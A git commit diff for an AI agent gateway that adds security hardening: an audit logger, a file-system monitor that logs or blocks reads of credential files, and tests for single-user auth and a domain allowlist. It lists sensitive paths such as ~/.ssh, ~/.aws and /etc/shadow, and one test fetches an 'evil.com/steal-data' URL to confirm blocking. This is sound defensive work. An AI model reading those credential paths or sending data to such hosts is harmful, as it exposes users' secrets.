feat(security): add hardening modules for single-user auth, network whitelist, and fs monitoring
This commit is contained in:
parent
9688454a30
commit
29d74bfa54
@ -1,6 +1,7 @@
|
|||||||
import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js";
|
import { resolveAgentWorkspaceDir, resolveDefaultAgentId } from "../agents/agent-scope.js";
|
||||||
import { initSubagentRegistry } from "../agents/subagent-registry.js";
|
import { initSubagentRegistry } from "../agents/subagent-registry.js";
|
||||||
import { registerSkillsChangeListener } from "../agents/skills/refresh.js";
|
import { registerSkillsChangeListener } from "../agents/skills/refresh.js";
|
||||||
|
import { initHardening, teardownHardening } from "../security/hardening.js";
|
||||||
import type { CanvasHostServer } from "../canvas-host/server.js";
|
import type { CanvasHostServer } from "../canvas-host/server.js";
|
||||||
import { type ChannelId, listChannelPlugins } from "../channels/plugins/index.js";
|
import { type ChannelId, listChannelPlugins } from "../channels/plugins/index.js";
|
||||||
import { createDefaultDeps } from "../cli/deps.js";
|
import { createDefaultDeps } from "../cli/deps.js";
|
||||||
@ -210,6 +211,18 @@ export async function startGatewayServer(
|
|||||||
}
|
}
|
||||||
|
|
||||||
const cfgAtStart = loadConfig();
|
const cfgAtStart = loadConfig();
|
||||||
|
|
||||||
|
// Initialize security hardening (single-user auth, network whitelist, fs monitoring)
|
||||||
|
// early, before any I/O. Controlled by config or MOLTBOT_HARDENING_ENABLED=1 env var.
|
||||||
|
const hardeningState = initHardening(cfgAtStart);
|
||||||
|
if (hardeningState.active) {
|
||||||
|
log.info(
|
||||||
|
`security hardening active: singleUser=${hardeningState.singleUser}, ` +
|
||||||
|
`network=${hardeningState.networkMonitor}, fs=${hardeningState.fsMonitor}` +
|
||||||
|
(hardeningState.logPath ? `, log=${hardeningState.logPath}` : ""),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
const diagnosticsEnabled = isDiagnosticsEnabled(cfgAtStart);
|
const diagnosticsEnabled = isDiagnosticsEnabled(cfgAtStart);
|
||||||
if (diagnosticsEnabled) {
|
if (diagnosticsEnabled) {
|
||||||
startDiagnosticHeartbeat();
|
startDiagnosticHeartbeat();
|
||||||
@ -580,6 +593,7 @@ export async function startGatewayServer(
|
|||||||
}
|
}
|
||||||
skillsChangeUnsub();
|
skillsChangeUnsub();
|
||||||
await close(opts);
|
await close(opts);
|
||||||
|
teardownHardening();
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
|
|||||||
170
src/security/fs-monitor.ts
Normal file
170
src/security/fs-monitor.ts
Normal file
@ -0,0 +1,170 @@
|
|||||||
|
import fs from "node:fs";
|
||||||
|
import os from "node:os";
|
||||||
|
import path from "node:path";
|
||||||
|
|
||||||
|
import { logSecurityEvent } from "./hardening-logger.js";
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Default sensitive path patterns to monitor.
|
||||||
|
* Paths are resolved relative to the user's home directory.
|
||||||
|
*/
|
||||||
|
const DEFAULT_SENSITIVE_PATHS: string[] = [
|
||||||
|
"~/.ssh",
|
||||||
|
"~/.aws",
|
||||||
|
"~/.gnupg",
|
||||||
|
"~/.config/gcloud",
|
||||||
|
"~/.azure",
|
||||||
|
"~/.kube",
|
||||||
|
"~/.docker",
|
||||||
|
"~/.npmrc",
|
||||||
|
"~/.netrc",
|
||||||
|
"~/.clawdbot/credentials",
|
||||||
|
"~/.moltbot/credentials",
|
||||||
|
"~/.gitconfig",
|
||||||
|
"~/.bash_history",
|
||||||
|
"~/.zsh_history",
|
||||||
|
"/etc/shadow",
|
||||||
|
"/etc/passwd",
|
||||||
|
];
|
||||||
|
|
||||||
|
export type FsMonitorOptions = {
|
||||||
|
/** Extra sensitive paths to monitor. Supports ~ for home dir. */
|
||||||
|
extraSensitivePaths?: string[];
|
||||||
|
/** Replace the default sensitive paths entirely. */
|
||||||
|
sensitivePaths?: string[];
|
||||||
|
/** If true, block access to sensitive paths. If false, only log. Default: false (audit mode). */
|
||||||
|
enforce?: boolean;
|
||||||
|
};
|
||||||
|
|
||||||
|
let resolvedSensitivePaths: string[] | null = null;
|
||||||
|
let enforceMode = false;
|
||||||
|
let installed = false;
|
||||||
|
|
||||||
|
let originalReadFile: typeof fs.readFileSync | null = null;
|
||||||
|
let originalReadFileAsync: typeof fs.promises.readFile | null = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve a path that may start with ~.
|
||||||
|
*/
|
||||||
|
function expandHome(p: string): string {
|
||||||
|
if (p.startsWith("~/") || p === "~") {
|
||||||
|
return path.join(os.homedir(), p.slice(1));
|
||||||
|
}
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if a path falls under any sensitive path prefix.
|
||||||
|
*/
|
||||||
|
export function isSensitivePath(filePath: string): boolean {
|
||||||
|
if (!resolvedSensitivePaths) return false;
|
||||||
|
const normalized = path.resolve(filePath);
|
||||||
|
for (const sensitive of resolvedSensitivePaths) {
|
||||||
|
if (normalized === sensitive || normalized.startsWith(sensitive + path.sep)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Record an access to a sensitive file in the audit log.
|
||||||
|
* Returns true if access is allowed, false if blocked (enforce mode).
|
||||||
|
*/
|
||||||
|
export function auditFileAccess(
|
||||||
|
filePath: string,
|
||||||
|
operation: "read" | "write" | "stat" | "readdir" | "unlink",
|
||||||
|
): boolean {
|
||||||
|
if (!resolvedSensitivePaths) return true;
|
||||||
|
const normalized = path.resolve(filePath);
|
||||||
|
if (!isSensitivePath(normalized)) return true;
|
||||||
|
|
||||||
|
logSecurityEvent("sensitive_file_access", {
|
||||||
|
operation,
|
||||||
|
path: normalized,
|
||||||
|
allowed: !enforceMode,
|
||||||
|
});
|
||||||
|
|
||||||
|
return !enforceMode;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Install lightweight fs monitoring hooks.
|
||||||
|
* Only intercepts fs.readFileSync and fs.promises.readFile for sensitive path auditing.
|
||||||
|
* This is intentionally minimal to avoid breaking the application.
|
||||||
|
*/
|
||||||
|
export function installFsMonitor(opts?: FsMonitorOptions): void {
|
||||||
|
if (installed) return;
|
||||||
|
|
||||||
|
const rawPaths = opts?.sensitivePaths ?? [
|
||||||
|
...DEFAULT_SENSITIVE_PATHS,
|
||||||
|
...(opts?.extraSensitivePaths ?? []),
|
||||||
|
];
|
||||||
|
resolvedSensitivePaths = rawPaths.map((p) => path.resolve(expandHome(p)));
|
||||||
|
enforceMode = opts?.enforce ?? false;
|
||||||
|
|
||||||
|
// Wrap fs.readFileSync for synchronous reads
|
||||||
|
originalReadFile = fs.readFileSync;
|
||||||
|
(fs as { readFileSync: typeof fs.readFileSync }).readFileSync = ((...args: unknown[]) => {
|
||||||
|
const filePath = args[0];
|
||||||
|
if (typeof filePath === "string") {
|
||||||
|
const allowed = auditFileAccess(filePath, "read");
|
||||||
|
if (!allowed) {
|
||||||
|
throw new Error(`[fs-monitor] Blocked read access to sensitive path: ${filePath}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (originalReadFile as Function).apply(fs, args);
|
||||||
|
}) as typeof fs.readFileSync;
|
||||||
|
|
||||||
|
// Wrap fs.promises.readFile for async reads
|
||||||
|
originalReadFileAsync = fs.promises.readFile;
|
||||||
|
(fs.promises as { readFile: typeof fs.promises.readFile }).readFile = (async (
|
||||||
|
...args: unknown[]
|
||||||
|
) => {
|
||||||
|
const filePath = args[0];
|
||||||
|
if (typeof filePath === "string") {
|
||||||
|
const allowed = auditFileAccess(filePath, "read");
|
||||||
|
if (!allowed) {
|
||||||
|
throw new Error(`[fs-monitor] Blocked read access to sensitive path: ${filePath}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (originalReadFileAsync as Function).apply(fs.promises, args);
|
||||||
|
}) as typeof fs.promises.readFile;
|
||||||
|
|
||||||
|
installed = true;
|
||||||
|
|
||||||
|
logSecurityEvent("hardening_init", {
|
||||||
|
module: "fs-monitor",
|
||||||
|
sensitivePathCount: resolvedSensitivePaths.length,
|
||||||
|
enforce: enforceMode,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Uninstall the fs monitor, restoring original functions.
|
||||||
|
*/
|
||||||
|
export function uninstallFsMonitor(): void {
|
||||||
|
if (!installed) return;
|
||||||
|
if (originalReadFile) {
|
||||||
|
(fs as { readFileSync: typeof fs.readFileSync }).readFileSync = originalReadFile;
|
||||||
|
originalReadFile = null;
|
||||||
|
}
|
||||||
|
if (originalReadFileAsync) {
|
||||||
|
(fs.promises as { readFile: typeof fs.promises.readFile }).readFile = originalReadFileAsync;
|
||||||
|
originalReadFileAsync = null;
|
||||||
|
}
|
||||||
|
resolvedSensitivePaths = null;
|
||||||
|
installed = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Check if the fs monitor is currently active.
|
||||||
|
*/
|
||||||
|
export function isFsMonitorActive(): boolean {
|
||||||
|
return installed;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Reset internal state (test-only). */
|
||||||
|
export function __resetFsMonitorForTest(): void {
|
||||||
|
uninstallFsMonitor();
|
||||||
|
}
|
||||||
99
src/security/hardening-logger.ts
Normal file
99
src/security/hardening-logger.ts
Normal file
@ -0,0 +1,99 @@
|
|||||||
|
import fs from "node:fs";
|
||||||
|
import path from "node:path";
|
||||||
|
|
||||||
|
import { resolveStateDir } from "../config/paths.js";
|
||||||
|
|
||||||
|
export type SecurityEventType =
|
||||||
|
| "blocked_sender"
|
||||||
|
| "blocked_network"
|
||||||
|
| "allowed_network"
|
||||||
|
| "sensitive_file_access"
|
||||||
|
| "hardening_init"
|
||||||
|
| "hardening_error";
|
||||||
|
|
||||||
|
export type SecurityEvent = {
|
||||||
|
timestamp: string;
|
||||||
|
type: SecurityEventType;
|
||||||
|
detail: Record<string, unknown>;
|
||||||
|
};
|
||||||
|
|
||||||
|
export type HardeningLoggerOptions = {
|
||||||
|
/** Override the log file path. Defaults to ~/.clawdbot/security-audit.log */
|
||||||
|
logFile?: string;
|
||||||
|
/** Also emit events to this callback (for tests). */
|
||||||
|
onEvent?: (event: SecurityEvent) => void;
|
||||||
|
};
|
||||||
|
|
||||||
|
let logStream: fs.WriteStream | null = null;
|
||||||
|
let logFilePath: string | null = null;
|
||||||
|
let eventCallback: ((event: SecurityEvent) => void) | null = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Resolve the default security log path.
|
||||||
|
*/
|
||||||
|
function defaultLogPath(): string {
|
||||||
|
const stateDir = resolveStateDir();
|
||||||
|
return path.join(stateDir, "security-audit.log");
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Initialize the hardening audit logger.
|
||||||
|
* Call once at gateway startup, before any other security module.
|
||||||
|
*/
|
||||||
|
export function initHardeningLogger(opts?: HardeningLoggerOptions): void {
|
||||||
|
if (logStream) return; // already initialized
|
||||||
|
logFilePath = opts?.logFile ?? defaultLogPath();
|
||||||
|
eventCallback = opts?.onEvent ?? null;
|
||||||
|
try {
|
||||||
|
const dir = path.dirname(logFilePath);
|
||||||
|
fs.mkdirSync(dir, { recursive: true, mode: 0o700 });
|
||||||
|
logStream = fs.createWriteStream(logFilePath, { flags: "a", mode: 0o600 });
|
||||||
|
// Silently handle write stream errors to avoid crashing the gateway.
|
||||||
|
logStream.on("error", () => {});
|
||||||
|
} catch {
|
||||||
|
// If we can't open the log file, continue without file logging.
|
||||||
|
// The onEvent callback (if set) will still work.
|
||||||
|
logStream = null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Write a structured security event to the audit log.
|
||||||
|
*/
|
||||||
|
export function logSecurityEvent(type: SecurityEventType, detail: Record<string, unknown>): void {
|
||||||
|
const event: SecurityEvent = {
|
||||||
|
timestamp: new Date().toISOString(),
|
||||||
|
type,
|
||||||
|
detail,
|
||||||
|
};
|
||||||
|
if (logStream) {
|
||||||
|
logStream.write(JSON.stringify(event) + "\n");
|
||||||
|
}
|
||||||
|
if (eventCallback) {
|
||||||
|
eventCallback(event);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Close the audit log stream. Call on gateway shutdown.
|
||||||
|
*/
|
||||||
|
export function closeHardeningLogger(): void {
|
||||||
|
if (logStream) {
|
||||||
|
logStream.end();
|
||||||
|
logStream = null;
|
||||||
|
}
|
||||||
|
logFilePath = null;
|
||||||
|
eventCallback = null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Get the current log file path (for status/diagnostics).
|
||||||
|
*/
|
||||||
|
export function getHardeningLogPath(): string | null {
|
||||||
|
return logFilePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Reset internal state (test-only). */
|
||||||
|
export function __resetHardeningLoggerForTest(): void {
|
||||||
|
closeHardeningLogger();
|
||||||
|
}
|
||||||
421
src/security/hardening.test.ts
Normal file
421
src/security/hardening.test.ts
Normal file
@ -0,0 +1,421 @@
|
|||||||
|
import crypto from "node:crypto";
|
||||||
|
import fs from "node:fs";
|
||||||
|
import os from "node:os";
|
||||||
|
import path from "node:path";
|
||||||
|
|
||||||
|
import { afterEach, beforeEach, describe, expect, it } from "vitest";
|
||||||
|
|
||||||
|
import type { SecurityEvent } from "./hardening-logger.js";
|
||||||
|
import {
|
||||||
|
__resetHardeningLoggerForTest,
|
||||||
|
initHardeningLogger,
|
||||||
|
logSecurityEvent,
|
||||||
|
} from "./hardening-logger.js";
|
||||||
|
import {
|
||||||
|
__resetSingleUserEnforcerForTest,
|
||||||
|
hashSender,
|
||||||
|
initSingleUserEnforcer,
|
||||||
|
isAuthorizedSender,
|
||||||
|
isSingleUserEnforcerActive,
|
||||||
|
} from "./single-user-enforcer.js";
|
||||||
|
import {
|
||||||
|
__resetNetworkMonitorForTest,
|
||||||
|
installNetworkMonitor,
|
||||||
|
isDomainAllowed,
|
||||||
|
isNetworkMonitorActive,
|
||||||
|
} from "./network-monitor.js";
|
||||||
|
import {
|
||||||
|
__resetFsMonitorForTest,
|
||||||
|
auditFileAccess,
|
||||||
|
installFsMonitor,
|
||||||
|
isFsMonitorActive,
|
||||||
|
isSensitivePath,
|
||||||
|
} from "./fs-monitor.js";
|
||||||
|
import { initHardening, isHardeningEnabled, teardownHardening } from "./hardening.js";
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Hardening Logger
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("hardening-logger", () => {
|
||||||
|
let tmpDir: string;
|
||||||
|
|
||||||
|
beforeEach(async () => {
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
tmpDir = await fs.promises.mkdtemp(path.join(os.tmpdir(), "moltbot-hardening-log-"));
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(async () => {
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
await fs.promises.rm(tmpDir, { recursive: true, force: true }).catch(() => {});
|
||||||
|
});
|
||||||
|
|
||||||
|
it("writes structured events to the log file", async () => {
|
||||||
|
const logFile = path.join(tmpDir, "test-security.log");
|
||||||
|
initHardeningLogger({ logFile });
|
||||||
|
|
||||||
|
logSecurityEvent("hardening_init", { test: true });
|
||||||
|
logSecurityEvent("blocked_sender", { sender: "test" });
|
||||||
|
|
||||||
|
// Give the write stream a moment to flush
|
||||||
|
await new Promise((resolve) => setTimeout(resolve, 50));
|
||||||
|
|
||||||
|
const content = await fs.promises.readFile(logFile, "utf-8");
|
||||||
|
const lines = content.trim().split("\n").filter(Boolean);
|
||||||
|
expect(lines).toHaveLength(2);
|
||||||
|
|
||||||
|
const first = JSON.parse(lines[0]) as SecurityEvent;
|
||||||
|
expect(first.type).toBe("hardening_init");
|
||||||
|
expect(first.detail.test).toBe(true);
|
||||||
|
expect(first.timestamp).toBeTruthy();
|
||||||
|
|
||||||
|
const second = JSON.parse(lines[1]) as SecurityEvent;
|
||||||
|
expect(second.type).toBe("blocked_sender");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("invokes the onEvent callback", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: path.join(tmpDir, "cb.log"), onEvent: (e) => events.push(e) });
|
||||||
|
|
||||||
|
logSecurityEvent("hardening_init", { module: "test" });
|
||||||
|
expect(events).toHaveLength(1);
|
||||||
|
expect(events[0].type).toBe("hardening_init");
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not crash when logging before init", () => {
|
||||||
|
// Should be a no-op, not a crash
|
||||||
|
logSecurityEvent("hardening_error", { error: "no init" });
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Single-User Enforcer
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("single-user-enforcer", () => {
|
||||||
|
const testPhone = "+8613800138000";
|
||||||
|
const testHash = crypto.createHash("sha256").update(testPhone).digest("hex");
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
__resetSingleUserEnforcerForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
__resetSingleUserEnforcerForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("hashSender produces correct SHA-256", () => {
|
||||||
|
const hash = hashSender(testPhone);
|
||||||
|
expect(hash).toBe(testHash);
|
||||||
|
expect(hash).toHaveLength(64);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("rejects invalid hash in init", () => {
|
||||||
|
expect(() => initSingleUserEnforcer({ authorizedUserHash: "notahash" })).toThrow(
|
||||||
|
"64-char lowercase hex SHA-256",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows authorized sender", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
initSingleUserEnforcer({ authorizedUserHash: testHash });
|
||||||
|
|
||||||
|
expect(isSingleUserEnforcerActive()).toBe(true);
|
||||||
|
expect(isAuthorizedSender(testPhone)).toBe(true);
|
||||||
|
// No blocked_sender event should be emitted
|
||||||
|
expect(events.filter((e) => e.type === "blocked_sender")).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("blocks unauthorized sender", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
initSingleUserEnforcer({ authorizedUserHash: testHash });
|
||||||
|
|
||||||
|
expect(isAuthorizedSender("+1234567890")).toBe(false);
|
||||||
|
expect(events.filter((e) => e.type === "blocked_sender")).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("blocks all senders when not initialized (fail-closed)", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
|
||||||
|
// Not initialized - should deny all
|
||||||
|
expect(isAuthorizedSender(testPhone)).toBe(false);
|
||||||
|
expect(events.filter((e) => e.type === "hardening_error")).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("uses constant-time comparison (functional check)", () => {
|
||||||
|
initSingleUserEnforcer({ authorizedUserHash: testHash });
|
||||||
|
|
||||||
|
// Verify it works correctly even with similar inputs
|
||||||
|
expect(isAuthorizedSender(testPhone)).toBe(true);
|
||||||
|
expect(isAuthorizedSender("+8613800138001")).toBe(false);
|
||||||
|
expect(isAuthorizedSender("+8613800138000 ")).toBe(false); // trailing space
|
||||||
|
expect(isAuthorizedSender("")).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("is inactive before init", () => {
|
||||||
|
expect(isSingleUserEnforcerActive()).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("accepts uppercase hash in init", () => {
|
||||||
|
const upperHash = testHash.toUpperCase();
|
||||||
|
// Should normalize to lowercase
|
||||||
|
initSingleUserEnforcer({ authorizedUserHash: upperHash });
|
||||||
|
expect(isSingleUserEnforcerActive()).toBe(true);
|
||||||
|
expect(isAuthorizedSender(testPhone)).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Network Monitor
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("network-monitor", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
__resetNetworkMonitorForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
__resetNetworkMonitorForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows whitelisted domains", () => {
|
||||||
|
installNetworkMonitor();
|
||||||
|
expect(isDomainAllowed("api.anthropic.com")).toBe(true);
|
||||||
|
expect(isDomainAllowed("web.whatsapp.com")).toBe(true);
|
||||||
|
expect(isDomainAllowed("localhost")).toBe(true);
|
||||||
|
expect(isDomainAllowed("127.0.0.1")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows whatsapp subdomains via suffix match", () => {
|
||||||
|
installNetworkMonitor();
|
||||||
|
expect(isDomainAllowed("mmg.whatsapp.net")).toBe(true);
|
||||||
|
expect(isDomainAllowed("media-ams2-1.cdn.whatsapp.net")).toBe(true);
|
||||||
|
expect(isDomainAllowed("something.whatsapp.com")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("blocks non-whitelisted domains", () => {
|
||||||
|
installNetworkMonitor();
|
||||||
|
expect(isDomainAllowed("evil.com")).toBe(false);
|
||||||
|
expect(isDomainAllowed("attacker.example.org")).toBe(false);
|
||||||
|
expect(isDomainAllowed("api.openai.com")).toBe(false); // not in default list
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows extra domains when configured", () => {
|
||||||
|
installNetworkMonitor({ extraAllowedDomains: ["api.openai.com"] });
|
||||||
|
expect(isDomainAllowed("api.openai.com")).toBe(true);
|
||||||
|
expect(isDomainAllowed("evil.com")).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows extra suffixes when configured", () => {
|
||||||
|
installNetworkMonitor({ extraAllowedSuffixes: [".openai.com"] });
|
||||||
|
expect(isDomainAllowed("api.openai.com")).toBe(true);
|
||||||
|
expect(isDomainAllowed("files.openai.com")).toBe(true);
|
||||||
|
expect(isDomainAllowed("evil.com")).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("replaces default domains when allowedDomains is set", () => {
|
||||||
|
installNetworkMonitor({ allowedDomains: ["custom.example.com"] });
|
||||||
|
expect(isDomainAllowed("custom.example.com")).toBe(true);
|
||||||
|
expect(isDomainAllowed("api.anthropic.com")).toBe(false); // default removed
|
||||||
|
});
|
||||||
|
|
||||||
|
it("is case-insensitive for domain matching", () => {
|
||||||
|
installNetworkMonitor();
|
||||||
|
expect(isDomainAllowed("API.ANTHROPIC.COM")).toBe(true);
|
||||||
|
expect(isDomainAllowed("Web.WhatsApp.Com")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns true when not installed (passthrough)", () => {
|
||||||
|
expect(isDomainAllowed("anything.com")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("reports active status correctly", () => {
|
||||||
|
expect(isNetworkMonitorActive()).toBe(false);
|
||||||
|
installNetworkMonitor();
|
||||||
|
expect(isNetworkMonitorActive()).toBe(true);
|
||||||
|
__resetNetworkMonitorForTest();
|
||||||
|
expect(isNetworkMonitorActive()).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("blocks fetch to non-whitelisted domain in enforce mode", async () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
installNetworkMonitor({ enforce: true });
|
||||||
|
|
||||||
|
await expect(fetch("https://evil.com/steal-data")).rejects.toThrow(
|
||||||
|
"[network-monitor] Blocked outbound request to evil.com",
|
||||||
|
);
|
||||||
|
expect(events.filter((e) => e.type === "blocked_network")).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("allows fetch to whitelisted domain", async () => {
|
||||||
|
installNetworkMonitor({ enforce: true });
|
||||||
|
|
||||||
|
// This should not throw (though the actual fetch may fail due to network)
|
||||||
|
// We just verify it doesn't throw a network-monitor error
|
||||||
|
try {
|
||||||
|
await fetch("https://api.anthropic.com/v1/messages", { signal: AbortSignal.timeout(100) });
|
||||||
|
} catch (err) {
|
||||||
|
// Network error is expected (no real API key), but not a monitor block
|
||||||
|
expect(String(err)).not.toContain("[network-monitor]");
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// File System Monitor
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("fs-monitor", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
__resetFsMonitorForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
__resetFsMonitorForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("detects sensitive paths", () => {
|
||||||
|
installFsMonitor();
|
||||||
|
|
||||||
|
const home = os.homedir();
|
||||||
|
expect(isSensitivePath(path.join(home, ".ssh", "id_rsa"))).toBe(true);
|
||||||
|
expect(isSensitivePath(path.join(home, ".aws", "credentials"))).toBe(true);
|
||||||
|
expect(isSensitivePath(path.join(home, ".gnupg", "pubring.kbx"))).toBe(true);
|
||||||
|
expect(isSensitivePath("/etc/shadow")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not flag non-sensitive paths", () => {
|
||||||
|
installFsMonitor();
|
||||||
|
|
||||||
|
expect(isSensitivePath("/tmp/safe-file.txt")).toBe(false);
|
||||||
|
expect(isSensitivePath(path.join(os.homedir(), "Documents", "notes.txt"))).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("supports extra sensitive paths", () => {
|
||||||
|
installFsMonitor({ extraSensitivePaths: ["~/Documents/secret"] });
|
||||||
|
|
||||||
|
const secretPath = path.join(os.homedir(), "Documents", "secret", "file.txt");
|
||||||
|
expect(isSensitivePath(secretPath)).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("audit logs sensitive file access", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
installFsMonitor();
|
||||||
|
|
||||||
|
const sshKey = path.join(os.homedir(), ".ssh", "id_rsa");
|
||||||
|
const result = auditFileAccess(sshKey, "read");
|
||||||
|
expect(result).toBe(true); // default is audit-only (no blocking)
|
||||||
|
expect(events.filter((e) => e.type === "sensitive_file_access")).toHaveLength(1);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("blocks in enforce mode", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
installFsMonitor({ enforce: true });
|
||||||
|
|
||||||
|
const sshKey = path.join(os.homedir(), ".ssh", "id_rsa");
|
||||||
|
const result = auditFileAccess(sshKey, "read");
|
||||||
|
expect(result).toBe(false); // blocked
|
||||||
|
expect(events.filter((e) => e.type === "sensitive_file_access")).toHaveLength(1);
|
||||||
|
expect(events[events.length - 1].detail.allowed).toBe(false);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not log non-sensitive access", () => {
|
||||||
|
const events: SecurityEvent[] = [];
|
||||||
|
initHardeningLogger({ logFile: "/dev/null", onEvent: (e) => events.push(e) });
|
||||||
|
installFsMonitor();
|
||||||
|
|
||||||
|
auditFileAccess("/tmp/safe.txt", "read");
|
||||||
|
expect(events.filter((e) => e.type === "sensitive_file_access")).toHaveLength(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("returns true when not installed (passthrough)", () => {
|
||||||
|
expect(isSensitivePath(path.join(os.homedir(), ".ssh", "id_rsa"))).toBe(false);
|
||||||
|
expect(auditFileAccess("/anything", "read")).toBe(true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("reports active status correctly", () => {
|
||||||
|
expect(isFsMonitorActive()).toBe(false);
|
||||||
|
installFsMonitor();
|
||||||
|
expect(isFsMonitorActive()).toBe(true);
|
||||||
|
__resetFsMonitorForTest();
|
||||||
|
expect(isFsMonitorActive()).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
// Hardening Integration (initHardening / isHardeningEnabled)
|
||||||
|
// ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
describe("hardening integration", () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
__resetSingleUserEnforcerForTest();
|
||||||
|
__resetNetworkMonitorForTest();
|
||||||
|
__resetFsMonitorForTest();
|
||||||
|
__resetHardeningLoggerForTest();
|
||||||
|
delete process.env.MOLTBOT_HARDENING_ENABLED;
|
||||||
|
delete process.env.CLAWDBOT_HARDENING_ENABLED;
|
||||||
|
delete process.env.MOLTBOT_AUTHORIZED_USER_HASH;
|
||||||
|
delete process.env.CLAWDBOT_AUTHORIZED_USER_HASH;
|
||||||
|
});
|
||||||
|
